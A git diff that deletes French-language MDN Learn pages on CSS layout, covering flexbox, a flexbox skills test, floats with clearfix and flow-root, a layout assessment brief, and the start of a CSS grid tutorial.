Maintenant, lorsque vous actualisez, vous voyez que le troisième {{htmlelement("article")}} occupe deux fois plus de largeur disponible que chacun des deux autres — il y a maintenant quatre unités de division disponibles au total. Les deux premiers éléments flexibles en occupent chacun un, soit 1/4 de l'espace disponible pour chacun. Le troisième remplit deux unités, soit 2/4 (la moitié) de l'espace disponible.

- -

Vous pouvez également définir une valeur minimale de taille dans la valeur flex. Modifiez comme suit vos règles article existantes :

- -
article {
-  flex: 1 200px;
-}
-
-article:nth-of-type(3) {
-  flex: 2 200px;
-}
- -

En gros, cela dit : « Chaque élément flex reçoit d'abord 200px de l'espace disponible quand c'est possible. Ensuite, le reste de l'espace disponible est réparti selon les unités de proportion ». Note : quand ce n'est pas possible, ce sont les unités de proportions qui sont prises en compte.

- -

Actualisez et vous devriez voir une différence dans la façon dont l'espace est réparti.

- -

Modulation de la largeur

- -

Le véritable intérêt de flexbox apparaît dans sa souplesse et sa réactivité — si vous redimensionnez la fenêtre du navigateur ou ajoutez un autre élément {{htmlelement("article")}}}, la mise en page continue de fonctionner correctement.

- -

Flex : forme abrégée vs forme longue

- -

{{cssxref("flex")}} est une forme abrégée de propriété qui peut servir à définir trois valeurs différentes :

- - - -

Nous vous déconseillons d'utiliser les propriétés flex sous leur forme longue, sans autre alternative possible (par exemple, pour annuler quelque chose déjà défini). Elles représentent du code supplémentaire, et peuvent être quelque peu déroutantes.

- -

Alignement horizontal et vertical

- -

Vous pouvez également utiliser les fonctionnalités de flexbox pour aligner les éléments flex le long de l'axe principal ou croisé. Voyons cela avec un nouvel exemple — flex-align0.html (voir aussi en direct). Nous allons le transformer facilement en une barre souple de boutons. Actuellement, nous avons une barre de menu horizontale avec quelques boutons tassés dans l'angle supérieur gauche.

- -

Alignement

- -

D'abord, faites une copie locale de cet exemple.

- -

Ensuite, ajoutez ce qui suit à la fin de la CSS de l'exemple :

- -
div {
-  display: flex;
-  align-items: center;
-  justify-content: space-around;
-}
- -

Actualisez la page et vous verrez que les boutons sont maintenant bien centrés, horizontalement et verticalement. Cette transformation a été opérée grâce à deux nouvelles propriétés.

- -

{{cssxref("align-items")}} fixe là où les éléments flex sont placés sur l'axe perpendiculaire, dit aussi croisé (cross axis).

- - - -

Vous pouvez prendre le pas sur le comportement de {{cssxref("align-items")}} pour un élément flex donné en lui appliquant la propriété {{cssxref("align-self")}}. Par exemple, ajoutez ce qui suit aux CSS:

- -
button:first-child {
-  align-self: flex-end;
-}
- -

Voyez l'effet obtenu, puis supprimez ensuite la règle.

- -

{{cssxref("justify-content")}} fixe où les éléments flex sont placés sur l'axe principal.

- - - -

N'hésitez pas à jouer avec ces valeurs pour visualiser leur fonctionnement avant de poursuivre.

- -

Ordonner les éléments flex

- -

Flexbox dispose aussi d'une fonctionnalité pour modifier l'ordre d'affichage des éléments flex, sans en modifier l'ordre dans la source. C'est une chose impossible à réaliser avec les méthodes classiques de mise en page.

- -

Le code pour ce faire est simple : ajoutez la règle CSS suivante dans l'exemple de code de la barre de boutons :

- -
button:first-child {
-  order: 1;
-}
- -

Actualisez, et vous pouvez voir que le bouton « Smile » a été déplacé en fin de l'axe principal. Voyons en détail comment cela fonctionne :

- - - -

Vous pouvez donner des valeurs négatives à order pour faire en sorte que ces éléments soient affichés avant les éléments d'ordre 0. Par exemple, vous pouvez faire apparaître le bouton « Blush » en tête de l'axe principal avec la règle suivante :

- -
button:last-child {
-  order: -1;
-}
- -

Boîtes flex imbriquées

- -

Il est possible de créer des mises en page joliment complexes avec flexbox. Il est parfaitement loisible de déclarer un élément flex en tant que conteneur flex, de sorte que ses enfants sont également disposés en tant que boîtes modulables. Regardez complex-flexbox.html (à voir en direct également).

- -

Imbrications avec flexbox

- -

Le HTML pour cela est vraiment simple. Voici un élément {{htmlelement("section")}} contenant trois éléments {{htmlelement("article")}}. Le troisième élément {{htmlelement("article")}} contient trois éléments {{htmlelement("div")}}. Le premier élément {{htmlelement("div")}} contient cinq éléments {{htmlelement("button")}}  :

- -
section - article
-          article
-          article - div - button
-                    div   button
-                    div   button
-                          button
-                          button
- -

Regardez le code utilisé pour cette disposition.

- -

Primo, nous déterminons que les enfants de l'élément {{htmlelement("section")}} seront des boîtes flexibles.

- -
section {
-  display: flex;
-}
- -

Secundo, nous définissons des valeurs flex pour les éléments {{htmlelement("article")}} eux‑mêmes. Remarquez en particulier ici la deuxième règle — nous paramétrons le troisième élément {{htmlelement("article")}} pour que ses enfants soient eux-mêmes disposés en tant qu'éléments flex, mais cette fois‑ci en colonne.

- -
article {
-  flex: 1 200px;
-}
-
-article:nth-of-type(3) {
-  flex: 3 200px;
-  display: flex;
-  flex-flow: column;
-}
-
- -

Tertio, nous sélectionnons le premier élément {{htmlelement("div")}} et lui assignons la valeur flex:1 100px; pour qu'il ait effectivement une hauteur minimale de 100px, ensuite nous indiquons que ses enfants (les éléments {{htmlelement("button")}}) doivent être disposés en tant qu'éléments flex dans une ligne enveloppante, centrés dans l'espace disponible comme dans l'exemple des boutons vu plus haut.

- -
article:nth-of-type(3) div:first-child {
-  flex:1 100px;
-  display: flex;
-  flex-flow: row wrap;
-  align-items: center;
-  justify-content: space-around;
-}
- -

Enfin, nous définissons un dimensionnement des boutons, et plus précisément nous leur donnons une valeur flex de 1. L'effet obtenu est très intéressant ; vous l'observerez en modifiant la largeur de la fenêtre du navigateur. Les boutons prennent autant d'espace qu'il leur est permis, et sont si possible disposés sur la même ligne ; mais si ce n'est pas possible, il "descendent" pour créer de nouvelles lignes.

- -
button {
-  flex: 1;
-  margin: 5px;
-  font-size: 18px;
-  line-height: 1.5;
-}
- -

Compatibilité des navigateurs

- -

La prise en charge de Flexbox est disponible avec la plupart des  navigateurs récents — Firefox, Chrome, Opera, Microsoft Edge et IE 11, les nouvelles versions d'Android/iOS, etc. Mais vous devez être attentif au fait que l'on utilise encore des navigateurs anciens qui ne prennent pas en charge Flexbox (ou le font, mais uniquement pour des versions très anciennes, vraiment dépassées de la spécification).

- -

Pour l'apprentissage et l'expérimentation, cela n'a pas trop d'importance. Mais utiliser flexbox pour un site web réel nécessite de faire des tests et de s'assurer que l'expérience utilisateur est toujours acceptable dans le plus grand nombre de navigateurs possible.

- -

Flexbox est une fonctionnalité plus complexe que les règles CSS courantes. Par exemple, une absence de prise en charge des ombres portées dans les CSS laissera le site utilisable. Mais la non prise en charge des fonctionnalités flexbox risque de casser totalement la mise en page, et de rendre le site inutilisable.

- -

Les stratégies pour contourner les problèmes de compatibilité des navigateurs est discutée dans le module Tests croisés sur navigateurs.

- -

Résumé

- -

Notre visite guidée des bases de flexbox est maintenant terminée. Espérons que vous en êtes satisfaits, et que vous saurez jouer avec ses fonctionnalités tout en progressant dans l'apprentissage. Nous allons examiner ensuite un autre aspect important de la mise en page avec les CSS — les grilles CSS.

- -
{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Normal_Flow", "Apprendre/CSS/CSS_layout/Flexbox_skills", "Learn/CSS/CSS_layout")}}
- -
-

Dans ce module

- - -
diff --git a/files/fr/apprendre/css/css_layout/flexbox_skills/index.html b/files/fr/apprendre/css/css_layout/flexbox_skills/index.html deleted file mode 100644 index 8cb4d16891..0000000000 --- a/files/fr/apprendre/css/css_layout/flexbox_skills/index.html +++ /dev/null @@ -1,99 +0,0 @@ ---- -title: 'Testez vos compétences : Flexbox' -slug: Apprendre/CSS/CSS_layout/Flexbox_skills -translation_of: Learn/CSS/CSS_layout/Flexbox_skills ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Apprendre/CSS/CSS_layout/Flexbox", "Apprendre/CSS/CSS_layout/Grids", "Apprendre/CSS/CSS_layout")}}
- -

Le but de cette tâche est de vous faire travailler avec Flexbox et de démontrer votre compréhension du comportement des éléments flexibles. Vous trouverez ci-dessous quatre modèles de conception courants que vous pourriez utiliser pour créer avec Flexbox, votre tâche est de les construire.

- -
-

Note: You can try out solutions in the interactive editors below, however it may be helpful to download the code and use an online tool such as CodePen, jsFiddle, or Glitch to work on the tasks.
-
- If you get stuck, then ask us for help — see the {{anch("Assessment or further help")}} section at the bottom of this page.

-
- -

Flex Layout One

- -

Ces éléments de liste constituent la navigation pour un site. Ils doivent être disposés en ligne, avec un espace égal entre chaque élément. L'exemple fini doit ressembler à l'image ci-dessous.

- -

Flex items laid out as a row with space between them.

- -

Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :

- -

{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox1.html", '100%', 700)}}

- -
-

For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.

-
- -

Flex Layout Two

- -

Ces éléments de liste sont tous de tailles différentes, mais nous voulons qu'ils soient affichés sous forme de trois colonnes de taille égale, quel que soit le contenu de chaque élément.

- -

Flex items laid out as three equal size columns with different amounts of content.

- -

Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :

- -

{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox2.html", '100%', 800)}}

- -

Questions supplémentaires:

- - - -
-

For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.

-
- -

Flex Layout Three

- -

Il y a deux éléments dans le HTML ci-dessous, une div avec une classe .parent qui contient une autre div avec une classe .child. Utilisez Flexbox pour centrer le fichier enfant à l'intérieur du parent.

- -

A box centered inside another box.

- -

Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :

- -

{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox3.html", '100%', 800)}}

- -
-

For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.

-
- -

Flex Layout Four

- -

Dans cette dernière tâche, placez ces éléments en lignes comme dans l'image.
-  

- -

A set of items displayed as rows.

- -

Essayez de mettre à jour le code ci-dessous pour recréer l'exemple terminé :

- -

{{EmbedGHLiveSample("css-examples/learn/tasks/flexbox/flexbox4.html", '100%', 800)}}

- -
-

For assessment or further work purposes, download the starting point for this task to work in your own editor or in an online editor.

-
- -

Assessment or further help

- -

You can practice these examples in the Interactive Editors mentioned above.

- -

If you would like your work assessed, or are stuck and want to ask for help:

- -
    -
  1. Put your work into an online shareable editor such as CodePen, jsFiddle, or Glitch. You can write the code yourself, or use the starting point files linked to in the above sections.
    2. -
  2. Write a post asking for assessment and/or help at the MDN Discourse forum. Add the "learning" tag to your post so we are able to more easily find it. Your post should include: -
      -
    • A descriptive title such as "Assessment wanted for Flexbox layout 1 skill test".
      • -
    • Details of what you would like us to do — for example what you have already tried, if you are stuck and need help,.
      • -
    • A link to the example you want assessed or need help with, in an online editor. This is a good practice to get into — it's very hard to help someone with a coding problem if you can't see their code.
      • -
    • A link to the actual task or assessment page, so we can find the question you want help with.
      • -
    -
    3. -
- -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout")}}

diff --git a/files/fr/apprendre/css/css_layout/floats/index.html b/files/fr/apprendre/css/css_layout/floats/index.html deleted file mode 100644 index a4814ac036..0000000000 --- a/files/fr/apprendre/css/css_layout/floats/index.html +++ /dev/null @@ -1,509 +0,0 @@ ---- -title: Les boîtes flottantes -slug: Apprendre/CSS/CSS_layout/Floats -tags: - - Article - - Boîtes flottantes - - CSS - - Codage - - Débutant - - Dégagement - - Flotteurs - - Guide - - Mise en page - - colonnes - - multi‑colonne -translation_of: Learn/CSS/CSS_layout/Floats ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}
- -

À l'origine conçue pour faire flotter des images à l'intérieur d'un bloc de texte, la propriété float est devenue un des outils les plus communément utilisés pour créer des dispositions sur plusieurs colonnes dans des pages web. Avec la venue de Flexbox et de Grid, il est maintenant revenu à sa destination initiale, comme l'explique l'article.

- - - - - - - - - - - - -
Prérequis :Les bases du HTML (étudiez Introduction au HTML), et une idée de la manière dont fonctionne CSS (étudiez Introduction au CSS.)
Objectif :Apprendre comment créer des éntités flottantes dans les pages web, ainsi qu'utiliser la propriété clear et autres méthodes de dégagement des boîtes flottantes.
- -

Contexte de boîtes flottantes

- -

La propriété float a été introduite pour permettre aux développeurs web d'implémenter des dispositions simples comme une image flottant dans une colonne de texte, le texte se développant autour de cette image sur la gauche ou sur la droite. Le genre de choses que vous pourriez avoir dans une mise en page de journal.

- -

Mais les développeurs web se sont vite rendus compte que tout élément pouvait flotter, pas seulement les images, et c'est ainsi que l'utilisation de float s'est élargie. Notre exemple de paragraphe élégant vu plus haut dans le cours montre comment vous pouvez utiliser float pour créer une lettrine.

- -

Les boîtes flottantes ont été couramment utilisées pour créer des mises en page complètes de sites web avec plusieurs colonnes d'informations flottant les unes à côté des autres (le comportement par défaut est une superposition des contenus, dans le même ordre que dans le code source). De nouvelles techniques de mises en page bien meilleures sont disponibles, nous les avons déjà vues dans ce module, et l'utilisation des boîtes flottantes à cette fin doit être considérée comme une technique du passé.

- -

Dans cet article, nous nous limiterons notre exposé à l'utilisation appropriée des boîtes flottantes.

- -

Exemple simple de boîte flottante

- -

Découvrons comment utiliser les boîtes flottantes. Nous commencerons par un exemple très simple consistant à faire flotter un élément dans un bloc de texte. Vous pouvez suivre cela en créant un nouveau fichier index.html sur votre ordinateur initialisé avec un simple modèle HTML et en y insérant le code ci-dessous à la bonne place. Au bas de ce paragraphe vous pouvez directement voir un exemple en direct de ce à quoi le code final doit ressembler.

- -

Tout d'abord, commençons  avec un HTML simple — ajoutez le code ci-dessous dans l'élément body en supprimant tout ce qu'il y avait avant :

- - - -
<h1>Exemple simple de boîte flottante</h1>
-
-<img src="https://mdn.mozillademos.org/files/13340/butterfly.jpg" alt="Un joli papillon de couleur rouge, blanche et brune sur une grande feuille">
-
-<p> Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate. Duis felis orci, pulvinar id metus ut, rutrum luctus orci. Cras porttitor imperdiet nunc, at ultricies tellus laoreet sit amet. Sed auctor cursus massa at porta. Integer ligula ipsum, tristique sit amet orci vel, viverra egestas ligula. Curabitur vehicula tellus neque, ac ornare ex malesuada et. In vitae convallis lacus. Aliquam erat volutpat. Suspendisse ac imperdiet turpis. Aenean finibus sollicitudin eros pharetra congue. Duis ornare egestas augue ut luctus. Proin blandit quam nec lacus varius commodo et a urna. Ut id ornare felis, eget fermentum sapien.</p>
-
-<p>Nam vulputate diam nec tempor bibendum. Donec luctus augue eget malesuada ultrices. Phasellus turpis est, posuere sit amet dapibus ut, facilisis sed est. Nam id risus quis ante semper consectetur eget aliquam lorem. Vivamus tristique elit dolor, sed pretium metus suscipit vel. Mauris ultricies lectus sed lobortis finibus. Vivamus eu urna eget velit cursus viverra quis vestibulum sem. Aliquam tincidunt eget purus in interdum. Cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p>
- -

Maintenant, appliquez la CSS suivante au HTML ci-dessus (avec un élément {{htmlelement("style")}} ou un élément {{htmlelement("link")}} pointant sur un fichier .css séparé — comme vous voulez):

- -
body {
-  width: 90%;
-  max-width: 900px;
-  margin: 0 auto;
-  font: .9em/1.2 Arial, Helvetica, sans-serif
-}
-
-.box {
-  width: 150px;
-  height: 100px;
-  border-radius: 5px;
-  background-color: rgb(207,232,220);
-  padding: 1em;
-}
- -

Si vous enregistrez et actualisez maintenant, vous verrez quelque chose qui ressemble un peu à ce à quoi vous vous attendiez — la boîte est au-dessus du texte suivant le cours normal de l'affichage. Pour faire flotter l'image dans le texte ajoutez ces deux propriétés à la règle pour .box :

- -
.box {
-  float: left;
-  margin-right: 15px;
-  width: 150px;
-  height: 100px;
-  border-radius: 5px;
-  background-color: rgb(207,232,220);
-  padding: 1em;
-}
- -

Enregistrez et actualisez à nouveau et vous verrez quelque chose comme ce qui suit:

- -
- -
- -

{{ EmbedLiveSample('Float_1', '100%', 500) }}

- -

Voyons comment fonctionne la boîte flottante — l'élément possèdant la propriété float (l'élément box dans notre cas) est retiré du cours normal de  la mise en page du document et collé du côté gauche (left) de son conteneur parent ({{htmlelement("body")}}, dans ce cas). Tout contenu disposé après l'élément flottant dans le cours normal de la mise en page (c'est à dire disposé à la suite dans le code source) va maintenant l'envelopper en remplissant l'espace sur sa droite sur toute sa hauteur. Là, ça s'arrête.

- -

Faire flotter le contenu surla droite a exactement le même effet, mais inversé — l'élément flottant se plaque sur la droite du conteneur et le contenu l'enveloppera en se plaçant à gauche. Donnez la valeur right à la propriété float et remplacez {{cssxref("margin-right")}} par {{cssxref("margin-left")}} dans le dernier jeu de règles, et observez le résultat.

- -

Ajoutez une classe special au premier paragraphe du texte suivant immédiatement la boîte flottante, puis dans la CSS ajoutez les règles suivantes. Elles donnent à ce paragraphe une couleur de fond.

- -
.special {
-  background-color: rgb(79,185,227);
-  padding: 10px;
-  color: #fff;
-}
-
- -

Pour mieux visualiser l'effet, modifiez margin-right de la boîte flottante en margin de façon à avoir le même espace tout autour de la boîte flottante. Vous verrez l'arrière-plan du paragraphe juste au dessous de la boîte flottante comme dans l'exemple ci-dessous :

- -
- -
- -

{{ EmbedLiveSample('Float_2', '100%', 500) }}

- -

Les lignes du paragraphe  suivant la boîte flottante  ont été raccourcies pour que le texte entoure cette boîte, mais comme elle a été sortie du cours normal, la boîte du contenu du paragraphe reste sur toute la largeur du conteneur.

- -

Dégagement des boîtes flottantes

- -

Nous avons vu que la boîte flottante est retirée du cours normal de l'affichage et que les autres éléments se placent à côté, donc si nous voulons empêcher un élément à la suite de remonter pour se placer à côté, nous devons le dégager. Cette opération se réalise à l'aide de la propriété {{cssxref("clear")}}.

- -

Dans le HTML de l'exemple précédent, donnez la classe cleared au second paragraphe sous l'élément destiné à être placé à côté de la boîte flottante. Puis, ajoutez ceci à la CSS :

- -
.cleared {
-  clear: left;
-}
-
- -
- -
- -

{{ EmbedLiveSample('Float_3', '100%', 600) }}

- -

Vous verrez que le paragraphe suivant s'est dégagé de l'élément flottant et ne remonte plus à côté de ce dernier. La propriété  clear accepte les valeurs suivantes :

- - - -

Dégagement de boîtes autour d'une boîte flottante

- -

Vous savez comment dégager quelque chose suivant un élément flottant, mais regardez ce qui arrive si vous avez une boîte flottante de grande hauteur et un paragraphe de texte court dans une boîte enveloppant les deux. Modifiez votre document de sorte que le premier paragraphe et la boîte flottante soient englobés dans un élément {{htmlelement("div")}} de la classe wrapper.

- -
<div class="wrapper">
-  <div class="box">Boîte flottante</div>
-
-  <p>Lorem ipsum dolor sit amet, consectetur adipiscing elit. Nulla luctus aliquam dolor, eu lacinia lorem placerat vulputate.</p>
-</div>
-
- -

Dans la CSS, ajoutez la règle suivante pour la classe .wrapper et actualisez la page :

- -
.wrapper {
-  background-color: rgb(79,185,227);
-  padding: 10px;
-  color: #fff;
-}
- -

Comme dans l'exemple où nous avons mis un arrière‑plan au paragraphe, vous voyez que la couleur d'arrière‑plan s'étale derrière la boîte flottante.

- -
- -
- -

{{ EmbedLiveSample('Float_4', '100%', 600) }}

- -

Encore une fois, c'est parce que la boîte flottante a été retirée du cours normal de l'affichage. Dégager l'élément suivant ne résout pas ce problème où vous voulez que la boîte d'emballage de l'élément flottant et le contenu textuel , même court, arrive au bas de l'élément flottant. Il y a trois façons possibles de résoudre ce problème, deux fonctionnant avec tous les navigateurs — mais relevant un peu de la débrouille — et une troisième, nouvelle, permettant de faire face à cette situation proprement.

- -

Le « clearfix hack »

- -

La façon dont cette situation est traditionnellement traitée consiste à utiliser un procédé connu sous le nom de « clearfix hack » (truc pour déboguer clear). Cela consiste à insérer un contenu après la boîte contenant le flotteur, envelopper le contenu et donner la valeur both à la propriété clear.

- -

Ajoutez ceci à la CSS de notre exemple :

- -
.wrapper::after {
-  content: "";
-  clear: both;
-  display: block;
-}
- -

Maintenant actualisez la page et la boîte est dégagée. C'est pratiquement la même chose que si vous aviez ajouté un élément HTML tel que <div> en dessous avec la règle clear: both.

- -
- -
- -

{{ EmbedLiveSample('Float_5', '100%', 600) }}

- -

Utilisation du débordement

- -

Une autre méthode consiste à fixer la valeur de la propriété {{cssxref("overflow")}} de wrapper à autre chose que visible.

- -

Supprimez les éléments clearfix de la CSS su paragraphe précédent et, à la place, ajoutez overflow: auto aux règles pour wrapper. À nouveau, la boîte doit être dégagée.

- -
.wrapper {
-  background-color: rgb(79,185,227);
-  padding: 10px;
-  color: #fff;
-  overflow: auto;
-}
- -
- -
- -

{{ EmbedLiveSample('Float_6', '100%', 600) }}

- -

Cet exemple fonctionne en créant ce que l'on appelle un block formatting context (BFC) (contexte de formatage de bloc). C'est comme une mini composition à l'intérieur de la page, composition dans laquelle tout est contenu ; l'élément flottant est contenu à l'intérieur de la BFC et l'arrière-plan est derrière les deux éléments. Cela fonctionne en règle générale, mais dans certains cas, vous pourriez avoir des barres de défilement indésirables ou des ombres découpées en raison des conséquences involontaires de l'utilisation du débordement.

- -

« display: flow-root »

- -

La solution moderne de ce problème consiste à utiliser la valeur flow-root pour le propriété display. Elle n'existe que pour créer des BFC sans recourir à des astuces — il n'y pas de conséquences imprévisibles à son utilisation. Supprimez overflow: auto de la règle .wrapper et ajoutez display: flow-root. En supposant que votre navigateur le prenne en charge, la boîte sera dégagée.

- -
.wrapper {
-  background-color: rgb(79,185,227);
-  padding: 10px;
-  color: #fff;
-  display: flow-root;
-}
- -
- -
- -

{{ EmbedLiveSample('Float_7', '100%', 600) }}

- -

Résumé

- -

Vous savez maintenant tout ce qu'il y a à savoir à propos des boîtes flottantes dans le développement moderne du web. Voyez l'article sur les Méthodes anciennes de mise en page pour toute information sur la façon dont elles étaient utilisées autrefois, ce qui pourrait se révéler utile si vous travaillez sur des projets anciens.

- -

{{PreviousMenuNext("Learn/CSS/CSS_layout/Grids", "Learn/CSS/CSS_layout/Positioning", "Learn/CSS/CSS_layout")}}

- -

Dans ce module

- - diff --git a/files/fr/apprendre/css/css_layout/fundamental_layout_comprehension/index.html b/files/fr/apprendre/css/css_layout/fundamental_layout_comprehension/index.html deleted file mode 100644 index c97cc64ba9..0000000000 --- a/files/fr/apprendre/css/css_layout/fundamental_layout_comprehension/index.html +++ /dev/null @@ -1,81 +0,0 @@ ---- -title: Compréhension fondamentale de la mise en page -slug: Apprendre/CSS/CSS_layout/Fundamental_Layout_Comprehension -translation_of: Learn/CSS/CSS_layout/Fundamental_Layout_Comprehension ---- -
{{LearnSidebar}}
- -

Si vous avez travaillé sur ce module, vous aurez déjà couvert les bases de ce que vous devez savoir pour faire la mise en forme CSS aujourd'hui, et pour travailler avec les anciennes CSS également. Cette tâche testera certaines de vos connaissances en développant une mise en page simple en utilisant diverses techniques.

- - - - - - - - - - - - -
Conditions préalables:Avant de tenter cette évaluation, vous devriez déjà avoir passé en revue tous les articles de ce module.
Objectif:Pour tester la compréhension des compétences de base en aménagement couvertes dans ce module.
- -

dossier de projet

- -

Vous avez reçu du HTML brut, du CSS de base et des images - vous devez maintenant créer une mise en page pour la conception, qui devrait ressembler à l'image ci-dessous.

- -

- -

configuration de base

- -

Vous pouvez télécharger le code HTML, CSS et un ensemble de six images ici .

- -

Enregistrez le document HTML et la feuille de style dans un répertoire de votre ordinateur, puis ajoutez les images dans un dossier nommé images. Ouvrir le index.htmlfichier dans un navigateur devrait vous donner une page avec un style de base mais pas de mise en page, ce qui devrait ressembler à l'image ci-dessous.

- -

Ce point de départ contient tout le contenu de votre mise en page, tel qu’il est affiché par le navigateur dans un flux normal.

- -

- -

Votre section detâches

- -

Vous devez maintenant implémenter votre mise en page. Les tâches que vous devez accomplir sont:

- -
    -
  1. Pour afficher les éléments de navigation dans une ligne, avec un espace égal entre les éléments.
    2. -
  2. La barre de navigation doit défiler avec le contenu, puis rester bloquée en haut de la fenêtre d’affichage quand elle l’atteint.
    3. -
  3. L'image qui se trouve à l'intérieur de l'article doit être entourée de texte.
    4. -
  4. Les éléments <article>et <aside>doivent s'afficher sous la forme d'une disposition à deux colonnes. La taille des colonnes doit être flexible de sorte que, si la fenêtre du navigateur est réduite, les colonnes deviennent plus étroites.
    5. -
  5. Les photographies doivent s’afficher sous forme de grille à deux colonnes avec un intervalle de 1 pixel entre les images.
    6. -
- -

Vous n'aurez pas besoin de modifier le code HTML pour obtenir cette présentation. Les techniques à utiliser sont les suivantes:

- - - -

Vous pouvez réaliser certaines de ces tâches de plusieurs manières et il n’existe souvent pas de bonne ou de mauvaise façon de faire les choses. Essayez différentes approches et voyez laquelle fonctionne le mieux. Prenez des notes pendant que vous expérimentez et vous pourrez toujours discuter de votre approche dans le fil de discussion de cet exercice ou dans le canal IRC #mdn .

- -

Evaluation

- -

Si vous suivez cette évaluation dans le cadre d'un cours organisé, vous devriez pouvoir donner votre travail à votre enseignant / mentor pour qu'il la corrige. Si vous vous auto-apprenez, vous pouvez obtenir le guide de notation assez facilement en vous renseignant sur le fil de discussion relatif à cet exercice ou sur le canal IRC #mdn sur Mozilla IRC . Essayez d’abord l’exercice - il n’ya aucun avantage à tricher!

- -

Dans ce module Section

- - diff --git a/files/fr/apprendre/css/css_layout/grids/index.html b/files/fr/apprendre/css/css_layout/grids/index.html deleted file mode 100644 index 4fd7782640..0000000000 --- a/files/fr/apprendre/css/css_layout/grids/index.html +++ /dev/null @@ -1,715 +0,0 @@ ---- -title: Grilles -slug: Apprendre/CSS/CSS_layout/Grids -tags: - - Apprendre - - Article - - CSS - - Codage - - Didacticiel - - Débutant - - Guide - - Mise en page - - Trames - - Trames CSS - - quadrillage du design - - structure du quadrillage - - système de trames -translation_of: Learn/CSS/CSS_layout/Grids ---- -
{{LearnSidebar}}
- -
{{PreviousMenuNext("Learn/CSS/CSS_layout/Flexbox", "Learn/CSS/CSS_layout/Floats", "Learn/CSS/CSS_layout")}}
- -

« CSS Grid Layout » (Trames avec les CSS) est un système de mise en page bidimensionnel. Il vous permet de disposer les contenus en lignes et en colonnes ; il possède de nombreuses fonctionnalités simplifiant la construction de mises en page complexes. Cet article vous indique tout ce que vous devez savoir pour commencer une mise en page avec une trame.

- - - - - - - - - - - - -
Prérequis :Les fondamentaux du HTML (étudiez Introduction au HTML) et une idée de la manière dont la CSS fonctionne (étudiez Introduction aux CSS et Styles de boîtes).
Objectif :Comprendre les concepts fondamentaux sous-jacents de la disposition en trame et comment la mettre en œuvre en utilisant « CSS Grid ».
- -

Qu'est qu'une disposition en trame ?

- -

Une trame est simplement un ensemble de lignes horizontales et verticales créant un quadrillage dans lequel nous pouvons agencer les éléments à afficher. Elles nous aident à créer des compositions dans lesquelles les éléments ne sautent pas ou ne changent pas de largeur au fur et à mesure que nous nous déplaçons d'une page à l'autre, ce qui assure une plus grande cohérence des sites Web.

- -

La trame est constituée généralement de rangées (colonnes ou lignes). L'espace entre chaque ligne ou colonne est communément appelé gouttière.

- -

Schéma du quadrillage

- -

Création d'une trame CSS

- -

Après avoir décidé le maillage voulu pour votre design, vous pouvez utiliser « CSS Grid Layout » pour créer une trame avec la CSS et y placer des éléments. Nous examinerons d'abord les caractéristiques de base de « Grid Layout » (disposition en quadrillage), puis nous explorerons comment créer un système de trame simple pour le projet.

- -

Définition d'une trame

- -

Pour débuter, téléchargez et ouvrez le fichier de départ dans l'éditeur de texte et dans le navigateur. Vous y verrez un exemple constitué d'un conteneur avec quelques enfants. Par défaut, ils sont présentés suivant le cours normal : les boîtes s'affichent donc accolées les unes au dessous des autres. Nous travaillerons avec ce fichier dans la première partie de la leçon ; nous y introduirons des changements et observerons les modifications induites dans le comportement du maillage.

- -

Pour définir un tramage, on affecte la valeur grid à la propriété {{cssxref("display")}}. De la même manière qu'avec Flexbox, nous basculons ainsi en « Grid Layout » (disposition en quadrillage) ; tous les enfants directs du conteneur deviennent des éléments de la maille. Ajoutez ceci à la CSS du fichier :

- -
.container {
-    display: grid;
-}
- -

Contrairement au cas de Flexbox, il n'y a sur le champ aucune différence pour les éléments. Déclarer display: grid fournit une chaîne à un seul fil et, donc, les éléments continuent à s'afficher juxtaposés comme dans un cours normal.

- -

Pour voir quelque chose qui ressemble plus à un quadrillage, nous devons ajouter quelques fils de chaîne à la trame. Mettons trois colonnes de 200 pixels — vous pouvez utiliser n'importe quelle unité de taille ou bien un pourcentage pour créer ces rangées en colonne.

- -
.container {
-    display: grid;
-    grid-template-columns: 200px 200px 200px;
-}
- -

Ajoutons cette déclaration dans nos règles CSS, puis actualisons la page : nous voyons que les éléments ont été arrangés et placés chacun dans une cellule du quadrillage ainsi créé.

- -
- -
- -

{{ EmbedLiveSample('Grid_1', '100%', 400) }}

- -

Trames adaptables avec l'unité « fr »

- -

En plus de créer des fils de chaîne en unités de longueur ou de pourcentage, nous pouvons utiliser l'unité « fr » pour moduler la taille des lignes et colonnes du quadrillage. Cette unité représente une fraction de l'espace disponible du conteneur de trame.

- -

En changeant la liste des chaînes par la suivante, on crée trois chaînes de 1fr.

- -
.container {
-    display: grid;
-    grid-template-columns: 1fr 1fr 1fr;
-}
- -

Vous avez maintenant des chaînes de trame adaptables. L'espace est distribué en proportion de la valeur donnée à l'unité fr ; vous pouvez donc affecter des valeurs positives différentes à chaque piste. Par exemple, si vous changez la définition ainsi :

- -
.container {
-    display: grid;
-    grid-template-columns: 2fr 1fr 1fr;
-}
- -

La première chaîne obtient 2fr de l'espace disponible et les deux autres 1fr ; la première chaîne sera plus large. Il est possible de mélanger des unités fr et des largeurs fixes pour les chaînes — dans ce cas, l'espace nécessaire aux chaînes de largeur fixée est réservé avant la distribution proportionnelle de l'espace restant aux autres chaînes.

- -
- -
- -

{{ EmbedLiveSample('Grid_2', '100%', 400) }}

- -
-

Note : L'unité fr distribue l'espace disponible, et non sa totalité. Donc, si une des pistes contient quelque chose de grande taille, il y aura moins d'espace disponible à partager.

-
- -

Espaces entre pistes

- -

